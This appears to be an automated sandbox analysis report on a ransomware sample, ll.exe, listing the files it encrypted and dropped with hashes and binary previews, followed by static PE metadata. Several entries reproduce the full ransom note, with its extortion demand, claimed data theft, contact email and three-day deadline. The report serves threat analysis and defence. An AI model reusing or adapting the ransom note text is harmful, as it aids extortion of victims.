Preview:.p.GS.8cI.*71.p7...x.e.G$..f...Q....;U..q.{d#.v=...>&A.!.....wHJ....3_Z....J.Fg...*i.3..v....si..RA....1v.i6.\...s..\.4.....X....}...3.Qor...x...<.9dW..c....y.-..C&....T..Q..q'BQC.F.b...&../.4..~Q0.....-a.m.1..A...Gcz\.v4.e ...........7..o]f.tA4L..f.....*I;..?..B.O....8.j..;G...;.r.j.m.y.h.bN.d.y.... ...z.Z9=Q.^....Y05?.9....#_..%......^5`.;/..T5...?.,..W6....J.7.g..60w..a@...b.1...7.!....j..b.....z.&....Ef.i.&..D4..%..3.LM.U:..4.r...).....<4.".J..).N.Di#4PX...}...v.........Y..PfOU...i.Z....E........BL....@...IT.h.~...o..w.A......&.w.(Tt/../.d.Z.9W\.V..=6.d0..qp....1.."~..=..^..[&.....v...)m..<......Up...a.O.4!..;&Nq.C.~.+.4..+2$.E]........"..7B..R..t.....:...M.A.A0.)sF?..j.g0I..CD..........Kd.(0*...1.3...xMeG.L..9.p..K.n.o.t.Q...(.........~og].......?....K4.....+A..C#.$..._;....7...u.G...}....a....+-....|..7&t......*9.1/...w\,2*.n.dv.;G.....V..%.Fk{./.)..}5l..j... o.9.^E.....}f.....q.......(.f......}.q.%......c`..|.aN\.g..l..k..w...)/...0.W.

C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TM.blf.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:WE32000 COFF executable not stripped
Category:dropped
Size (bytes):66070
Entropy (8bit):7.9971044352521545
Encrypted:true
SSDEEP:
MD5:56BE399AB9A9ECD3460EE41F8A447B9A
SHA1:5C1E2BB9E7F029AD4EDAF4D3B5CC96EFB6B633B2
SHA-256:44235F73D4091C7A9CA0640ED5AEB4F2DE16E580DEACDA0C45396CC9669254C6
SHA-512:7BB47B3CF0FC58CE80145F6A35E3F600255B20C6324439AE1192BFDD0E209EFEB640A95D6F788EA987B0C1D9A65A618409B5F3A98951C1413EC1EF86510906CB
Malicious:true
Preview:.p.GS.8cI.*71.p7...x.e.G$..f...Q....;U..q.{d#.v=...>&A.!.....wHJ....3_Z....J.Fg...*i.3..v....si..RA....1v.i6.\...s..\.4.....X....}...3.Qor...x...<.9dW..c....y.-..C&....T..Q..q'BQC.F.b...&../.4..~Q0.....-a.m.1..A...Gcz\.v4.e ...........7..o]f.tA4L..f.....*I;..?..B.O....8.j..;G...;.r.j.m.y.h.bN.d.y.... ...z.Z9=Q.^....Y05?.9....#_..%......^5`.;/..T5...?.,..W6....J.7.g..60w..a@...b.1...7.!....j..b.....z.&....Ef.i.&..D4..%..3.LM.U:..4.r...).....<4.".J..).N.Di#4PX...}...v.........Y..PfOU...i.Z....E........BL....@...IT.h.~...o..w.A......&.w.(Tt/../.d.Z.9W\.V..=6.d0..qp....1.."~..=..^..[&.....v...)m..<......Up...a.O.4!..;&Nq.C.~.+.4..+2$.E]........"..7B..R..t.....:...M.A.A0.)sF?..j.g0I..CD..........Kd.(0*...1.3...xMeG.L..9.p..K.n.o.t.Q...(.........~og].......?....K4.....+A..C#.$..._;....7...u.G...}....a....+-....|..7&t......*9.1/...w\,2*.n.dv.;G.....V..%.Fk{./.)..}5l..j... o.9.^E.....}f.....q.......(.f......}.q.%......c`..|.aN\.g..l..k..w...)/...0.W.

C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000001.regtrans-ms

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):524822
Entropy (8bit):7.999640826491852
Encrypted:true
SSDEEP:
MD5:70B4C9DA93E953EEA94EE13DCD619422
SHA1:6AFC5BC1E98F09A3D8B92876A694979FB5D1A1F7
SHA-256:DAE11C418F2F469D09628C32D4D22718307021567870F6A3C30BC897F4944429
SHA-512:A54FB4BB3F1E894E3869847E08E8F09724ADB81D1DF3122BCE1A9D618BAE3F4B15E61951193E0E27E5859AA24A7415B913FB862B7A3FA4F7A145A10451455FC3
Malicious:true
Preview:..;W.....HO.O....gg-...5K...V_..+%@.....h..`.U.=..1..D.E-d.f.....6.....)6`...$..... ..'....t...3`A+.".....RKA..o.N.,.B.hjz........0....\.;. ....3x.....C..6..n.....1.N.......nm.pth.n.b(F......C..B^..I....6...<1k.X.8..f.!u..M~._XxSDmyC;.D$...S..9.9..Z^.V.....X....^F.D.1.T....w.wW.A..}.e.mn...(...>.....G@..C.o.....N.Z..c....A.[$.d....Y1.9.F.Js#.`...7..cP.^.F9Z..9..Z.....c......S.d.G9...L9..@....z.*.N[..M...@d...f._Vd.+k1..+.e..1....8...V....I.L..g..'..BJ&....\.|Fc.E....)..:.....Vr....i]L..>......2n...%..*......+T.}..".R.}.<.......M..1.....7..#>........pw.LuW.[na.6.fV..9F.M....e"...d.... K..N.......C[..Q....,o..B............."[//.c..S....w...) b.......Nje...+....?....E.........oT.....,.^.....y....I.VZ....~....xF-.4....e.qS.[,#.Z]h.Q.....3s7.Ty+.../..d.{%.e..c..v..+..gH.....NoHhu......bm..MB._...9"....].E(..3.......J..Y..Q;n`gw....,....wx.3..'.&E},2.C....4..`..R...K.s...4+Q.b.8tDA]^Y...o'&.XXp..%..M...w...~g......|.@P.Wd8...............

C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000001.regtrans-ms.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):524822
Entropy (8bit):7.999640826491852
Encrypted:true
SSDEEP:
MD5:70B4C9DA93E953EEA94EE13DCD619422
SHA1:6AFC5BC1E98F09A3D8B92876A694979FB5D1A1F7
SHA-256:DAE11C418F2F469D09628C32D4D22718307021567870F6A3C30BC897F4944429
SHA-512:A54FB4BB3F1E894E3869847E08E8F09724ADB81D1DF3122BCE1A9D618BAE3F4B15E61951193E0E27E5859AA24A7415B913FB862B7A3FA4F7A145A10451455FC3
Malicious:true
Preview:..;W.....HO.O....gg-...5K...V_..+%@.....h..`.U.=..1..D.E-d.f.....6.....)6`...$..... ..'....t...3`A+.".....RKA..o.N.,.B.hjz........0....\.;. ....3x.....C..6..n.....1.N.......nm.pth.n.b(F......C..B^..I....6...<1k.X.8..f.!u..M~._XxSDmyC;.D$...S..9.9..Z^.V.....X....^F.D.1.T....w.wW.A..}.e.mn...(...>.....G@..C.o.....N.Z..c....A.[$.d....Y1.9.F.Js#.`...7..cP.^.F9Z..9..Z.....c......S.d.G9...L9..@....z.*.N[..M...@d...f._Vd.+k1..+.e..1....8...V....I.L..g..'..BJ&....\.|Fc.E....)..:.....Vr....i]L..>......2n...%..*......+T.}..".R.}.<.......M..1.....7..#>........pw.LuW.[na.6.fV..9F.M....e"...d.... K..N.......C[..Q....,o..B............."[//.c..S....w...) b.......Nje...+....?....E.........oT.....,.^.....y....I.VZ....~....xF-.4....e.qS.[,#.Z]h.Q.....3s7.Ty+.../..d.{%.e..c..v..+..gH.....NoHhu......bm..MB._...9"....].E(..3.......J..Y..Q;n`gw....,....wx.3..'.&E},2.C....4..`..R...K.s...4+Q.b.8tDA]^Y...o'&.XXp..%..M...w...~g......|.@P.Wd8...............

C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000002.regtrans-ms

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):524822
Entropy (8bit):7.9997062195781234
Encrypted:true
SSDEEP:
MD5:890AF0559B1877CD991586471E7FCD24
SHA1:5A4EC0C97A97999E466C71B148ED26E470687551
SHA-256:D4E806B9C2F8ABF55DF4B234F245717B2B519AEC2729E4C56D6C9A05892CF9F2
SHA-512:85D6F86FBE52A51B2D3981A648B8248DFD266D93563BB905219B6D50478B2090D73E4C964B2DE425A5A09AB3F3C7F5FDAADAD01161298EB56A602541967B49CA
Malicious:true
Preview:.........!G:..~.4H......y.i6%.0+%..=.B.V...._<..=...u.....E.f....X...Otd5J_.h.L..M............?.B."........s+..T..-U...4....]t..A.XW.W..~2Ke!..*.O..:...Kz3F.0e..,.pfs...{B..e.D....w.p.7.0.|T...kf..|\.I.b0#...M.C..._.5W.J.?.w...c.a.8q_...x.^....y...A.s0..,0..I....z.Xz.ID..a..N.(..(".Dm.~.i.i..U.X.?..z.@..q..8J. `y.KG7.D..5..%n...R}.0I.....4.m..3.b5.J...=.%......k......M...4.. \..."A......j.sY]q|}^..#...22{GK...;...._...`..,.'O..Ks..B........~..E.v.}...Am.....m9....I..D.~.*....z..B..P...+WB}../.KY>...7..(.pq..o".../XC....?qj`........m.g.8...>..V.P7...$....z .(.&.`..8.f..b.\Nf..J..D....,...>_.....qE].w....u.tW.}......uZ..2..."....Y..l...#H:.8.L...XeX.V-..H....(..........5...i'....c}..bF...;..`.VW..e.Z.d.M.`>..?..2.Y'..9.J.S@.Y...5d.`.JgE\.s...+=....&<....~J..Spw.....@'.. ..e.Zc......%K..j......7...N......0..P,v>6..w.|....$4.....ceX....07Q='....&...........U...d...D..Xf.r...X...lt...x?..........~..w.....g0VK.VO?.e.T=W....5S..!zx.B.....

C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000002.regtrans-ms.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):524822
Entropy (8bit):7.9997062195781234
Encrypted:true
SSDEEP:
MD5:890AF0559B1877CD991586471E7FCD24
SHA1:5A4EC0C97A97999E466C71B148ED26E470687551
SHA-256:D4E806B9C2F8ABF55DF4B234F245717B2B519AEC2729E4C56D6C9A05892CF9F2
SHA-512:85D6F86FBE52A51B2D3981A648B8248DFD266D93563BB905219B6D50478B2090D73E4C964B2DE425A5A09AB3F3C7F5FDAADAD01161298EB56A602541967B49CA
Malicious:true
Preview:.........!G:..~.4H......y.i6%.0+%..=.B.V...._<..=...u.....E.f....X...Otd5J_.h.L..M............?.B."........s+..T..-U...4....]t..A.XW.W..~2Ke!..*.O..:...Kz3F.0e..,.pfs...{B..e.D....w.p.7.0.|T...kf..|\.I.b0#...M.C..._.5W.J.?.w...c.a.8q_...x.^....y...A.s0..,0..I....z.Xz.ID..a..N.(..(".Dm.~.i.i..U.X.?..z.@..q..8J. `y.KG7.D..5..%n...R}.0I.....4.m..3.b5.J...=.%......k......M...4.. \..."A......j.sY]q|}^..#...22{GK...;...._...`..,.'O..Ks..B........~..E.v.}...Am.....m9....I..D.~.*....z..B..P...+WB}../.KY>...7..(.pq..o".../XC....?qj`........m.g.8...>..V.P7...$....z .(.&.`..8.f..b.\Nf..J..D....,...>_.....qE].w....u.tW.}......uZ..2..."....Y..l...#H:.8.L...XeX.V-..H....(..........5...i'....c}..bF...;..`.VW..e.Z.d.M.`>..?..2.Y'..9.J.S@.Y...5d.`.JgE\.s...+=....&<....~J..Spw.....@'.. ..e.Zc......%K..j......7...N......0..P,v>6..w.|....$4.....ceX....07Q='....&...........U...d...D..Xf.r...X...lt...x?..........~..w.....g0VK.VO?.e.T=W....5S..!zx.B.....

C:\Users\Default\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Users\Public\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Users\Public\desktop.ini

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):708
Entropy (8bit):7.643006291595414
Encrypted:false
SSDEEP:
MD5:D89BC667AB230A69F7B316EE45B9A2B9
SHA1:CABDC3262E0BE2002E67EE9583B444CA140387A0
SHA-256:D812DA9119CBE8CB30AF26C7D090EE0EC83A75152B31B65FF821DBBDFE500D79
SHA-512:93EFC91037F712137862403659316DAB6B783EFD55EBD75EAE804C0EE8FE697430E8F3DE3020DF9D385DC064CA11A7BA83EC5CC2555CAEE8A7AEF4AD486BF174
Malicious:false
Preview:..[...Y.T.|...R..=.6........l.v.E.....~W......F.&.Mj.../.^q..wI.R.\...1...}.zP...j&80v#............K....^....u.=.1.....,..%.9..5....$`._..uO.....(....0p.h.k...y.;l.0...d...mNA......,... ......c..x[m:.N......oe...c.._...-.}..I..h......5..S.f.......C$...&....K.......7..n.JW.%....j.b.M.F...t..?......S.......r..D&*...).U.d..S>>.......D.w$..[.{..o...?..{...w.....,.4.M...1....u.K..3...0'(.z...j^.I...LOd..D....,F..o.....t..HQR..U./...(.........k....&M..)d..(.W....{.v...C.eX.%.R4f6Y-...t...u....vf....?7B.A/pL.LX....hv......E.......1.>'..N.,X...."O..X...*E<.{.3y7MD.!;..y2.<..".j.GO..P.|..p..Ls..e.Ek...'..P^.....n=.y.....if...)().!B..X5......&.h.m..............$.........

C:\Users\Public\desktop.ini.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):708
Entropy (8bit):7.643006291595414
Encrypted:false
SSDEEP:
MD5:D89BC667AB230A69F7B316EE45B9A2B9
SHA1:CABDC3262E0BE2002E67EE9583B444CA140387A0
SHA-256:D812DA9119CBE8CB30AF26C7D090EE0EC83A75152B31B65FF821DBBDFE500D79
SHA-512:93EFC91037F712137862403659316DAB6B783EFD55EBD75EAE804C0EE8FE697430E8F3DE3020DF9D385DC064CA11A7BA83EC5CC2555CAEE8A7AEF4AD486BF174
Malicious:false
Preview:..[...Y.T.|...R..=.6........l.v.E.....~W......F.&.Mj.../.^q..wI.R.\...1...}.zP...j&80v#............K....^....u.=.1.....,..%.9..5....$`._..uO.....(....0p.h.k...y.;l.0...d...mNA......,... ......c..x[m:.N......oe...c.._...-.}..I..h......5..S.f.......C$...&....K.......7..n.JW.%....j.b.M.F...t..?......S.......r..D&*...).U.d..S>>.......D.w$..[.{..o...?..{...w.....,.4.M...1....u.K..3...0'(.z...j^.I...LOd..D....,F..o.....t..HQR..U./...(.........k....&M..)d..(.W....{.v...C.eX.%.R4f6Y-...t...u....vf....?7B.A/pL.LX....hv......E.......1.>'..N.,X...."O..X...*E<.{.3y7MD.!;..y2.<..".j.GO..P.|..p..Ls..e.Ek...'..P^.....n=.y.....if...)().!B..X5......&.h.m..............$.........

C:\Users\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Users\desktop.ini

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):708
Entropy (8bit):7.688907429361945
Encrypted:false
SSDEEP:
MD5:F26BA1E866763BC0BCED89FF6429E551
SHA1:A8CF0ABC245EF63B3880B9A6C97A6D7530965065
SHA-256:84E46F6218022CB662F9E7FF82E4C8567BDA2C9AAB352C3BD9CAEF37C38A02D2
SHA-512:370B42DD3C35C0CE31EA5F4C7A8A9F0BB75B9495716A9B90B103A13F5FC1364FD4045EB5CC18F525FFFC7EF78B8D25F09EE044763DDDC2E5E49E4276495386B3
Malicious:false
Preview:..........VjGoV4".".9.........6@1..fK.tE...~H.F...?f..........:2.."..b.D>...b..:..._.E..8b...2...........N...,..h..........kK]jF......!....j...O........Y.H.63W.E.^...^..2...v.c.....0.^..<.:..F....;b..{..).>.7...h.......+.4p6*C.nX...\...P.7.....B.7e.a..?....8...........'..]..f.1...{.P.Jt...Q."..Cb..d&3..f....0.i6.L.u.\v....>.....&..z].Bp...bl..T.B..l8.ycK^....?.[.......v........WI.w.ELrVu.....c.E.dq..A.7_k.]....U...e..y........=..,...s.d......a.>>...1.+.d]?.&t.Z-|s..S.............SS..1.v..z......U..|.....OKb.u....r...Z?.{.....r....\.....-..../HMz.9F....(.Z....X.\.*..>..."0..+.^.e#.)+8..,......O...tK3.6un..9.....VQ....gk.A..*D....>..Es..........I.]..|..y............$.........

C:\Users\desktop.ini.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):708
Entropy (8bit):7.688907429361945
Encrypted:false
SSDEEP:
MD5:F26BA1E866763BC0BCED89FF6429E551
SHA1:A8CF0ABC245EF63B3880B9A6C97A6D7530965065
SHA-256:84E46F6218022CB662F9E7FF82E4C8567BDA2C9AAB352C3BD9CAEF37C38A02D2
SHA-512:370B42DD3C35C0CE31EA5F4C7A8A9F0BB75B9495716A9B90B103A13F5FC1364FD4045EB5CC18F525FFFC7EF78B8D25F09EE044763DDDC2E5E49E4276495386B3
Malicious:false
Preview:..........VjGoV4".".9.........6@1..fK.tE...~H.F...?f..........:2.."..b.D>...b..:..._.E..8b...2...........N...,..h..........kK]jF......!....j...O........Y.H.63W.E.^...^..2...v.c.....0.^..<.:..F....;b..{..).>.7...h.......+.4p6*C.nX...\...P.7.....B.7e.a..?....8...........'..]..f.1...{.P.Jt...Q."..Cb..d&3..f....0.i6.L.u.\v....>.....&..z].Bp...bl..T.B..l8.ycK^....?.[.......v........WI.w.ELrVu.....c.E.dq..A.7_k.]....U...e..y........=..,...s.d......a.>>...1.+.d]?.&t.Z-|s..S.............SS..1.v..z......U..|.....OKb.u....r...Z?.{.....r....\.....-..../HMz.9F....(.Z....X.\.*..>..."0..+.^.e#.)+8..,......O...tK3.6un..9.....VQ....gk.A..*D....>..Es..........I.]..|..y............$.........

C:\Users\user\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Users\user\ntuser.ini

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):554
Entropy (8bit):7.584729234297252
Encrypted:false
SSDEEP:
MD5:7C8DDB7F955A24D374D2182E2E016595
SHA1:97309A82ED7E522A664A9E7824F59CB92682D1AB
SHA-256:6CFFCD429149E8277498E1ECD9A55C020C84B882BC01EDFD3FA938C43681EB57
SHA-512:EF2B83B1D35914BAA8366B6AA930011342E4B14309818390197DC7C870470C62DA6604BC0592BAEBB7A36896D06D75943973C3E19F3FA060DA33B30E6038FA86
Malicious:false
Preview:..YO..K ..#...PX.....2F..(....w-l,2...k.}..O.$.IibzU6....s2..3.%BSB+={.F>.)..s...k....v.0f.].m.....[....6.6..j.....a..W.6Q..R....%..............3Af=J..|.L...w.X.Gwx9Nx.....S........J.../..P.x./....}..@.c..x..~......b.`|.......<.R...)V..I :K.O.9..!...]T\."ALe..q.l3..7.C..1.`.."P.<.yz.....mG..*.....W..V......e...X.3..sqh)=.j...[..@.#..^.r-.r.-.2..O..[..n....am<..9...qB>...Y:z4q.n...~.ZJ....M....E...OH..._..69d} .......(v......FZ....\..E*gU..."..).....q......P.b;n...2F....ug.>.pL{Kj~....(...8...IM(..N.Ev............$.........

C:\Users\user\ntuser.ini.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):554
Entropy (8bit):7.584729234297252
Encrypted:false
SSDEEP:
MD5:7C8DDB7F955A24D374D2182E2E016595
SHA1:97309A82ED7E522A664A9E7824F59CB92682D1AB
SHA-256:6CFFCD429149E8277498E1ECD9A55C020C84B882BC01EDFD3FA938C43681EB57
SHA-512:EF2B83B1D35914BAA8366B6AA930011342E4B14309818390197DC7C870470C62DA6604BC0592BAEBB7A36896D06D75943973C3E19F3FA060DA33B30E6038FA86
Malicious:false
Preview:..YO..K ..#...PX.....2F..(....w-l,2...k.}..O.$.IibzU6....s2..3.%BSB+={.F>.)..s...k....v.0f.].m.....[....6.6..j.....a..W.6Q..R....%..............3Af=J..|.L...w.X.Gwx9Nx.....S........J.../..P.x./....}..@.c..x..~......b.`|.......<.R...)V..I :K.O.9..!...]T\."ALe..q.l3..7.C..1.`.."P.<.yz.....mG..*.....W..V......e...X.3..sqh)=.j...[..@.#..^.r-.r.-.2..O..[..n....am<..9...qB>...Y:z4q.n...~.ZJ....M....E...OH..._..69d} .......(v......FZ....\..E*gU..."..).....q......P.b;n...2F....ug.>.pL{Kj~....(...8...IM(..N.Ev............$.........

C:\bootTel.dat

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):614
Entropy (8bit):7.607697131616242
Encrypted:false
SSDEEP:
MD5:F96DDFAD0B14B913E0C3F032877A1E4B
SHA1:AA966EC426C2805D910ED9796AEE20D79227EF0E
SHA-256:D333385BEAAC878606AFCECE8F1D3457133DD53264EB8EDBE76DECBEBA9EE763
SHA-512:3698BE64FBF54D142C515562DF65D8BD16FD5400A58FCFFC53C05ECE574DB65FAF2A20DC2B333AE21D7B7642BC047576770DE2533D7C2B9CF812DD30D2334E58
Malicious:false
Preview:...g.................2@IS.6.%.S.wIE.;...0...l<....H...?r.^..<T....z...?.caX.'(f......$^y...4D...h..S.........n.,...S.......a...IC.6..{6F......".|g ..........0..M`.[.`Tb;{u..i.G...X..2..p.=-Oa9.hY>..-...\.Ke.`.!>..M.b.0......Ce..0.{`..$.$....z..t.>fg.vc.....$..I...K..r[...q...e....$%..O.5...!....7..d7.....^....:.....6C.0nW...z......Z.C...=...{......?..@.[....9?...5://.23.~..}.@T.!TL....N....."..e..P,&.m..c\b...1...."m.~....Y.?B2..{....1...HB.xo..N...x./.La.UF..sC...*.........3q...`...J.$lfo$H....N-j.\v..Cr`+2...e.&.h.3xt....#F.r./......s.|..,>.t.....<..O...............$.P.......

C:\bootTel.dat.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):614
Entropy (8bit):7.607697131616242
Encrypted:false
SSDEEP:
MD5:F96DDFAD0B14B913E0C3F032877A1E4B
SHA1:AA966EC426C2805D910ED9796AEE20D79227EF0E
SHA-256:D333385BEAAC878606AFCECE8F1D3457133DD53264EB8EDBE76DECBEBA9EE763
SHA-512:3698BE64FBF54D142C515562DF65D8BD16FD5400A58FCFFC53C05ECE574DB65FAF2A20DC2B333AE21D7B7642BC047576770DE2533D7C2B9CF812DD30D2334E58
Malicious:false
Preview:...g.................2@IS.6.%.S.wIE.;...0...l<....H...?r.^..<T....z...?.caX.'(f......$^y...4D...h..S.........n.,...S.......a...IC.6..{6F......".|g ..........0..M`.[.`Tb;{u..i.G...X..2..p.=-Oa9.hY>..-...\.Ke.`.!>..M.b.0......Ce..0.{`..$.$....z..t.>fg.vc.....$..I...K..r[...q...e....$%..O.5...!....7..d7.....^....:.....6C.0nW...z......Z.C...=...{......?..@.[....9?...5://.23.~..}.@T.!TL....N....."..e..P,&.m..c\b...1...."m.~....Y.?B2..{....1...HB.xo..N...x./.La.UF..sC...*.........3q...`...J.$lfo$H....N-j.\v..Cr`+2...e.&.h.3xt....#F.r./......s.|..,>.t.....<..O...............$.P.......

Static File Info

General

File type:PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):6.457201413540288
TrID:
  • Win32 Executable (generic) a (10002005/4) 99.96%
  • Generic Win/DOS Executable (2004/3) 0.02%
  • DOS Executable Generic (2002/1) 0.02%
  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:ll.exe
File size:179712
MD5:f746ea39c0c5ff9d0a1f2d250170ad80
SHA1:dac28369f5a4436b2556f9b4f875e78d5c233edb
SHA256:7f6dbd9fa0cb7ba2487464c824b6d7e16ace9d4cd15e4452df4c9a9fd6bd1907
SHA512:dffb4eaa4119df790eb6b85ae341ee2ba4438d7983d0023320f19a4f2df201a3fc3d4d3cc4f1a67c6d1cad4809ac1b914bdad584da7df1b500354386f07fbc30
SSDEEP:3072:QQKp8PavONh7mJ1XGK68AL8BBW8MpYZEmn4kIVw5tBdGuUjuXssPMSwxfFcyyNZR:B+DmTfK68AKW8uYHBZ5Qeshd0m/Y
TLSH:B0045B05B20E5379F16B687426E9697256A8EC34539F88FBB7C28B5415309E23230FB7
File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............g...g...g.......g.......g.......g.......g.......g...f...g...d...g...c...g...b...g.?.n...g.:.....g.?.e...g.Rich..g........

File Icon

Icon Hash:00828e8e8686b000

Static PE Info

General

Entrypoint:0x417efe
Entrypoint Section:.text
Digitally signed:false
Imagebase:0x400000
Subsystem:windows gui
Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:0x6247EB6E [Sat Apr 2 06:21:34 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:5
OS Version Minor:1
File Version Major:5
File Version Minor:1
Subsystem Version Major:5
Subsystem Version Minor:1
Import Hash:f5346a7d2508fd5976d3449f3afc971d

Entrypoint Preview

Instruction
call 00007F90051AABAFh
jmp 00007F90051AA713h
push ebp
mov ebp, esp
test byte ptr [ebp+08h], 00000001h
push esi
mov esi, ecx
mov dword ptr [esi], 004241ECh
